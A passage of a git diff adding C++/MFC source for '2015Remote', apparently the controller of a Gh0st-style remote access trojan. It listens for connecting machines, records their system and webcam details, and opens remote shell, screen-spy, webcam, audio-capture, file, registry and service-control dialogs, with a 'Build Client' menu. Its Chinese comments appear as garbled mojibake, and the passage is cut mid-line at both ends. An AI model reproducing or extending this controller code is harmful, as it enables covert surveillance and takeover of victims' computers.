m_ToolBar.SetButtonText(3,""); + m_ToolBar.SetButtonText(4,"ļ"); + m_ToolBar.SetButtonText(5,""); + m_ToolBar.SetButtonText(6,"Ƶ"); + m_ToolBar.SetButtonText(7,""); + m_ToolBar.SetButtonText(8,"ע"); + m_ToolBar.SetButtonText(9,""); + m_ToolBar.SetButtonText(10,"ɷ"); + m_ToolBar.SetButtonText(11,""); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ +} + + +VOID CMy2015RemoteDlg::InitControl() +{ + //ר + + CRect rect; + GetWindowRect(&rect); + rect.bottom+=20; + MoveWindow(rect); + + for (int i = 0;iAppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // ô˶ԻͼꡣӦóڲǶԻʱܽԶ + // ִд˲ + SetIcon(m_hIcon, TRUE); // ôͼ + SetIcon(m_hIcon, FALSE); // Сͼ + + // TODO: ڴӶijʼ + + g_2015RemoteDlg = this; + CreateToolBar(); + InitControl(); + + CreatStatusBar(); + + CreateNotifyBar(); + + CreateSolidMenu(); + + ListenPort(); + + return TRUE; // ǽõؼ򷵻 TRUE +} + +void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialogEx::OnSysCommand(nID, lParam); + } +} + +// ԻСťҪĴ +// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó +// ⽫ɿԶɡ + +void CMy2015RemoteDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // ڻƵ豸 + + SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); + + // ʹͼڹо + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // ͼ + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialogEx::OnPaint(); + } +} + +//û϶Сʱϵͳô˺ȡù +//ʾ +HCURSOR CMy2015RemoteDlg::OnQueryDragIcon() +{ + return static_cast(m_hIcon); +} + +void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialogEx::OnSize(nType, cx, cy); + + // TODO: ڴ˴Ϣ + if (SIZE_MINIMIZED==nType) + { + return; + } + if (m_CList_Online.m_hWnd!=NULL) //ؼҲǴҲо + { + CRect rc; + rc.left = 1; //б + rc.top = 80; //б + rc.right = cx-1; //б + rc.bottom = cy-160; //б + m_CList_Online.MoveWindow(rc); + + for(int i=0;i(pNMHDR); + + //˵ + + CMenu Menu; + Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //ز˵Դ Դ + + CMenu* SubMenu = Menu.GetSubMenu(0); + + CPoint Point; + GetCursorPos(&Point); + + int iCount = SubMenu->GetMenuItemCount(); + if (m_CList_Online.GetSelectedCount() == 0) //ûѡ + { + for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ + } + } + + Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); + Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); + SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); + + *pResult = 0; +} + + +void CMy2015RemoteDlg::OnOnlineMessage() +{ + BYTE bToken = COMMAND_TALK; //򱻿ض˷һCOMMAND_SYSTEM + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + + +void CMy2015RemoteDlg::OnOnlineDelete() +{ + // TODO: ڴ + + BYTE bToken = COMMAND_BYE; //򱻿ض˷һCOMMAND_SYSTEM + SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending + + CString strIP; + int iCount = m_CList_Online.GetSelectedCount(); + int i = 0; + + for (i=0;iOnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context + } +} + +//Bar +VOID CMy2015RemoteDlg::OnAbout() +{ + MessageBox("1","1"); + + m_ToolBar.SetButtonText(0,"Terminal"); //λͼļ +} + +//Menu +void CMy2015RemoteDlg::OnNotifyShow() +{ + // TODO: ڴ + ShowWindow(SW_SHOW); +} + + +void CMy2015RemoteDlg::OnNotifyExit() +{ + // TODO: ڴ + + SendMessage(WM_CLOSE); +} + + +//̬˵ +void CMy2015RemoteDlg::OnMainSet() +{ + CSettingDlg Dlg; + + Dlg.DoModal(); //ģ̬ +} + + +void CMy2015RemoteDlg::OnMainExit() +{ + // TODO: ڴ + SendMessage(WM_CLOSE); +} + +VOID CMy2015RemoteDlg::ListenPort() +{ + int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "ListenPort"); + //ȡini ļеļ˿ + int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + //ȡ + if (nPort == 0) + nPort = 2356; + if (nMaxConnection == 0) + nMaxConnection = 10000; + Activate(nPort,nMaxConnection); //ʼ +} + + +VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) +{ + m_iocpServer = new IOCPServer; //̬ǵ + + if (m_iocpServer==NULL) + { + return; + } + + if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE) + { + OutputDebugStringA("======> StartServer Failed \n"); + } + + CString strTemp; + strTemp.Format("˿: %dɹ", nPort); + ShowMessage(true,strTemp); +} + + +VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) +{ + MessageHandle(ContextObject); +} + +// ԻԻ +struct dlgInfo +{ + HANDLE hDlg; + int v1; + dlgInfo(HANDLE h, int type) : hDlg(h), v1(type) { } +}; + +VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject) +{ + dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL; + + int nSocket = ContextObject->sClientSocket; + + g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket); + + ContextObject->v1 = 0; +} + + +VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) +{ + if (ContextObject == NULL) + { + return; //int intDlgHwnd + } + + if (ContextObject->v1 > 0) + { + switch(ContextObject->v1) + { + case VIDEO_DLG: + { + CVideoDlg *Dlg = (CVideoDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SERVICES_DLG: + { + CServicesDlg *Dlg = (CServicesDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case AUDIO_DLG: + { + CAudioDlg *Dlg = (CAudioDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SYSTEM_DLG: + { + CSystemDlg *Dlg = (CSystemDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SHELL_DLG: + { + CShellDlg *Dlg = (CShellDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SCREENSPY_DLG: + { + CScreenSpyDlg *Dlg = (CScreenSpyDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case FILEMANAGER_DLG: + { + CFileManagerDlg *Dlg = (CFileManagerDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case REGISTER_DLG: + { + CRegisterDlg *Dlg = (CRegisterDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + } + return; + } + + switch (ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + case COMMAND_BYE: + { + CancelIo((HANDLE)ContextObject->sClientSocket); + closesocket(ContextObject->sClientSocket); + Sleep(10); + + break; + } + case TOKEN_LOGIN: // ߰ shine + { + g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); //򴰿ͶûߵϢ + + break; + } + + case TOKEN_BITMAPINFO: + { + g_2015RemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); + break; + } + case TOKEN_DRIVE_LIST: + { + g_2015RemoteDlg->PostMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); + break; + } + + case TOKEN_TALK_START: + { + g_2015RemoteDlg->PostMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject); + break; + } + + case TOKEN_SHELL_START: + { + g_2015RemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject); + break; + } + case TOKEN_WSLIST: //wndlist + case TOKEN_PSLIST: //processlist + { + g_2015RemoteDlg->PostMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject); //򿪽öٵĶԻ + + break; + } + + case TOKEN_AUDIO_START: + { + g_2015RemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject); + break; + } + + case TOKEN_REGEDIT: + { + g_2015RemoteDlg->PostMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject); + break; + } + + case TOKEN_SERVERLIST: + { + g_2015RemoteDlg->PostMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); + break; + } + + case TOKEN_WEBCAM_BITMAPINFO: // ͷ + { + g_2015RemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); + break; + } + } +} + +LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) +{ + CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing; + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע ClientContext Ƿʱбȡ + + if (ContextObject == NULL) + { + return -1; + } + + CString strToolTipsText; + try + { + // Ϸݰ + if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) + { + return -1; + } + + LOGIN_INFOR* LoginInfor = (LOGIN_INFOR*)ContextObject->InDeCompressedBuffer.GetBuffer(); + + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int iClientAddrLen = sizeof(sockaddr_in); + SOCKET nSocket = ContextObject->sClientSocket; + BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP + + strIP = inet_ntoa(ClientAddr.sin_addr); + + // + strPCName = LoginInfor->szPCName; + + switch (LoginInfor->OsVerInfoEx.dwPlatformId) + { + case VER_PLATFORM_WIN32_NT: + if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 ) + strOS = "WindowsNT"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) + strOS = "Windows2000"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 ) + strOS = "WindowsXP"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 ) + strOS = "Windows2003"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) + strOS = "WindowsVista"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 ) + strOS = "Windows7"; + if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 ) + strOS = "Windows8"; + } + + //CPU + strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); + + // + strPing.Format("%d", LoginInfor->dwSpeed); + + strVideo = LoginInfor->bWebCamIsExist ? "" : ""; + + strAddr.Format("%d", nSocket); + + AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject); + return S_OK; + }catch(...){} + return -1; +} + + +LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) +{ + OutputDebugStringA("======> OnUserOfflineMsg\n"); + CString ip, port; + port.Format("%d", lParam); + EnterCriticalSection(&m_cs); + int n = m_CList_Online.GetItemCount(); + for (int i = 0; i < n; ++i) + { + CString cur = m_CList_Online.GetItemText(i, ONLINELIST_ADDR); + if (cur == port) + { + ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); + m_CList_Online.DeleteItem(i); + m_iCount--; + ShowMessage(true, ip + ""); + break; + } + } + LeaveCriticalSection(&m_cs); + + dlgInfo *p = (dlgInfo *)wParam; + if (p && p->v1 > 0) + { + switch(p->v1) + { + case VIDEO_DLG: + { + CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; + delete Dlg; + break; + } + case SERVICES_DLG: + { + CServicesDlg *Dlg = (CServicesDlg*)p->hDlg; + delete Dlg; + break; + } + case AUDIO_DLG: + { + CAudioDlg *Dlg = (CAudioDlg*)p->hDlg; + delete Dlg; + break; + } + case SYSTEM_DLG: + { + CSystemDlg *Dlg = (CSystemDlg*)p->hDlg; + delete Dlg; + break; + } + case SHELL_DLG: + { + CShellDlg *Dlg = (CShellDlg*)p->hDlg; + delete Dlg; + break; + } + case SCREENSPY_DLG: + { + CScreenSpyDlg *Dlg = (CScreenSpyDlg*)p->hDlg; + delete Dlg; + break; + } + case FILEMANAGER_DLG: + { + CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; + delete Dlg; + break; + } + case REGISTER_DLG: + { + CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; + delete Dlg; + break; + } + } + delete p; + } + + return S_OK; +} + +LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s + // øΪ׿ + Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = SCREENSPY_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_FILE_MANAGER, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = FILEMANAGER_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CTalkDlg *Dlg = new CTalkDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_TALK, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = TALK_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CShellDlg *Dlg = new CShellDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = SHELL_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + + +LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CSystemDlg *Dlg = new CSystemDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_SYSTEM, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = SYSTEM_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CAudioDlg *Dlg = new CAudioDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_AUDIO, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = AUDIO_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CServicesDlg *Dlg = new CServicesDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_SERVICES, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = SERVICES_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CRegisterDlg *Dlg = new CRegisterDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_REGISTER, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = REGISTER_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; + + //תCFileManagerDlg 캯 + CVideoDlg *Dlg = new CVideoDlg(this,m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DIALOG_VIDEO, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = VIDEO_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h new file mode 100644 index 0000000..fe1be4b --- /dev/null +++ b/server/2015Remote/2015RemoteDlg.h @@ -0,0 +1,107 @@ + +// 2015RemoteDlg.h : ͷļ +// + +#pragma once +#include "afxcmn.h" +#include "TrueColorToolBar.h" +#include "IOCPServer.h" + +typedef struct _LOGIN_INFOR +{ + BYTE bToken; // = 1 //½Ϣ + OSVERSIONINFOEX OsVerInfoEx; // 汾Ϣ + DWORD dwCPUMHz; // CPUƵ + IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ + char szPCName[MAX_PATH]; // + BOOL bWebCamIsExist; // Ƿͷ + DWORD dwSpeed; // +}LOGIN_INFOR,*PLOGIN_INFOR; + +// CMy2015RemoteDlg Ի +class CMy2015RemoteDlg : public CDialogEx +{ + // +public: + CMy2015RemoteDlg(CWnd* pParent = NULL); // ׼캯 + ~CMy2015RemoteDlg() + { + DeleteCriticalSection(&m_cs); + } + // Ի + enum { IDD = IDD_MY2015REMOTE_DIALOG }; +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + // ʵ +protected: + HICON m_hIcon; + + // ɵϢӳ亯 + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + DECLARE_MESSAGE_MAP() +public: + + VOID CMy2015RemoteDlg::InitControl(); //ʼؼ + VOID CMy2015RemoteDlg::TestOnline(); //Ժ + VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, + CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject); + VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg); + VOID CMy2015RemoteDlg::CreatStatusBar(); + VOID CMy2015RemoteDlg::CreateToolBar(); + VOID CMy2015RemoteDlg::CreateNotifyBar(); + VOID CMy2015RemoteDlg::CreateSolidMenu(); + VOID CMy2015RemoteDlg::ListenPort(); + VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection); + + static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); + static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); + static VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject); + VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); + // ʾûϢ + CListCtrl m_CList_Online; + CListCtrl m_CList_Message; + + CStatusBar m_StatusBar; //״̬ + CTrueColorToolBar m_ToolBar; + NOTIFYICONDATA m_Nid; + CRITICAL_SECTION m_cs; + + UINT m_iCount; + CBitmap m_bmOnline[2]; + afx_msg void OnTimer(UINT_PTR nIDEvent); + afx_msg void OnClose(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnOnlineMessage(); + afx_msg void OnOnlineDelete(); + afx_msg void OnAbout(); + afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam); + afx_msg void OnNotifyShow(); + afx_msg void OnNotifyExit(); + afx_msg void OnMainSet(); + afx_msg void OnMainExit(); + afx_msg void OnOnlineCmdManager(); + afx_msg void OnOnlineProcessManager(); + afx_msg void OnOnlineWindowManager(); + afx_msg void OnOnlineDesktopManager(); + afx_msg void OnOnlineAudioManager(); + afx_msg void OnOnlineVideoManager(); + afx_msg void OnOnlineFileManager(); + afx_msg void OnOnlineServerManager(); + afx_msg void OnOnlineRegisterManager(); + afx_msg void OnOnlineBuildClient(); + afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam); + afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam); + afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam); + afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam); + afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam); + afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); +}; diff --git a/server/2015Remote/Audio.cpp b/server/2015Remote/Audio.cpp new file mode 100644 index 0000000..93ac906 --- /dev/null +++ b/server/2015Remote/Audio.cpp @@ -0,0 +1,237 @@ +// Audio.cpp: implementation of the CAudio class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "Audio.h" +#include + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CAudio::CAudio() +{ + m_bExit = FALSE; + m_hThreadCallBack = false; + m_bIsWaveInUsed = FALSE; + m_bIsWaveOutUsed = FALSE; + m_nWaveInIndex = 0; + m_nWaveOutIndex = 0; + m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL); + m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL); + memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); + + m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; + m_GSMWavefmt.wfx.nChannels = 1; + m_GSMWavefmt.wfx.nSamplesPerSec = 8000; + m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625; + m_GSMWavefmt.wfx.nBlockAlign = 65; + m_GSMWavefmt.wfx.wBitsPerSample = 0; + m_GSMWavefmt.wfx.cbSize = 2; + m_GSMWavefmt.wSamplesPerBlock = 320; + + m_ulBufferLength = 1000; + + int i = 0; + for (i = 0; i < 2; i++) + { + m_InAudioData[i] = new BYTE[m_ulBufferLength]; + m_InAudioHeader[i] = new WAVEHDR; + + m_OutAudioData[i] = new BYTE[m_ulBufferLength]; + m_OutAudioHeader[i] = new WAVEHDR; + } +} + +CAudio::~CAudio() +{ + m_bExit = TRUE; + if (m_bIsWaveInUsed) + { + waveInStop(m_hWaveIn); + waveInReset(m_hWaveIn); + for (int i = 0; i < 2; i++) + waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + + waveInClose(m_hWaveIn); + WAIT (m_hThreadCallBack, 30); + if (m_hThreadCallBack) + printf("ûгɹرwaveInCallBack.\n"); + } + + for (int i = 0; i < 2; i++) + { + delete [] m_InAudioData[i]; + m_InAudioData[i] = NULL; + delete [] m_InAudioHeader[i]; + m_InAudioHeader[i] = NULL; + } + if (m_hEventWaveIn) + { + SetEvent(m_hEventWaveIn); + CloseHandle(m_hEventWaveIn); + m_hEventWaveIn = NULL; + } + if (m_hStartRecord) + { + SetEvent(m_hStartRecord); + CloseHandle(m_hStartRecord); + m_hStartRecord = NULL; + } + + if (m_bIsWaveOutUsed) + { + waveOutReset(m_hWaveOut); + for (int i = 0; i < 2; i++) + waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + waveOutClose(m_hWaveOut); + } + + for (int i = 0; i < 2; i++) + { + delete [] m_OutAudioData[i]; + m_OutAudioData[i] = NULL; + delete [] m_OutAudioHeader[i]; + m_OutAudioHeader[i] = NULL; + } +} + +BOOL CAudio::InitializeWaveIn() +{ + MMRESULT mmResult; + DWORD dwThreadID = 0; + + HANDLE h = NULL; + m_hThreadCallBack = h = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, + CREATE_SUSPENDED, &dwThreadID); + + //¼豸COM 1 ָ 2 ֧̻ͨ߳ص + mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, + &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); + + //m_hWaveIn ¼ + if (mmResult != MMSYSERR_NOERROR) + { + return FALSE; + } + + //¼豸 Ҫ + for (int i=0; i<2; i++) + { + m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ + m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_InAudioHeader[i]->dwFlags = 0; + m_InAudioHeader[i]->dwLoops = 0; + waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + } + + waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); + + ResumeThread(h); + CloseHandle(h); + waveInStart(m_hWaveIn); //¼ + + m_bIsWaveInUsed = TRUE; + + return true; +} + +LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize) +{ + //¼ + if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) + { + return NULL; + } + if (dwBufferSize == NULL) + { + return NULL; + } + SetEvent(m_hStartRecord); + WaitForSingleObject(m_hEventWaveIn, INFINITE); + *dwBufferSize = m_ulBufferLength; + return m_InAudioData[m_nWaveInIndex]; // +} + +DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) +{ + CAudio *This = (CAudio *)lParam; + + MSG Msg; + + while (GetMessage(&Msg, NULL, 0, 0)) + { + if (This->m_bExit) + break; + if (Msg.message == MM_WIM_DATA) + { + SetEvent(This->m_hEventWaveIn); + WaitForSingleObject(This->m_hStartRecord, INFINITE); + + Sleep(1); + This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; + + + //» + MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, + This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); + if (mmResult != MMSYSERR_NOERROR) + return -1; + } + + if (Msg.message == MM_WIM_CLOSE) + { + break; + } + + TranslateMessage(&Msg); + DispatchMessage(&Msg); + } + + std::cout<<"waveInCallBack end\n"; + This->m_hThreadCallBack = false; + + return 0; +} + +BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) +{ + if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 Ƶʽ 2 豸 + return NULL; + + for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) + { + memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength); + waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR)); + m_nWaveOutIndex = 1 - m_nWaveOutIndex; + } + return true; +} + +BOOL CAudio::InitializeWaveOut() +{ + if (!waveOutGetNumDevs()) + return FALSE; + int i; + for (i = 0; i < 2; i++) + memset(m_OutAudioData[i], 0, m_ulBufferLength); // + + MMRESULT mmResult; + mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); + if (mmResult != MMSYSERR_NOERROR) + return false; + + for (i = 0; i < 2; i++) + { + m_OutAudioHeader[i]->lpData = 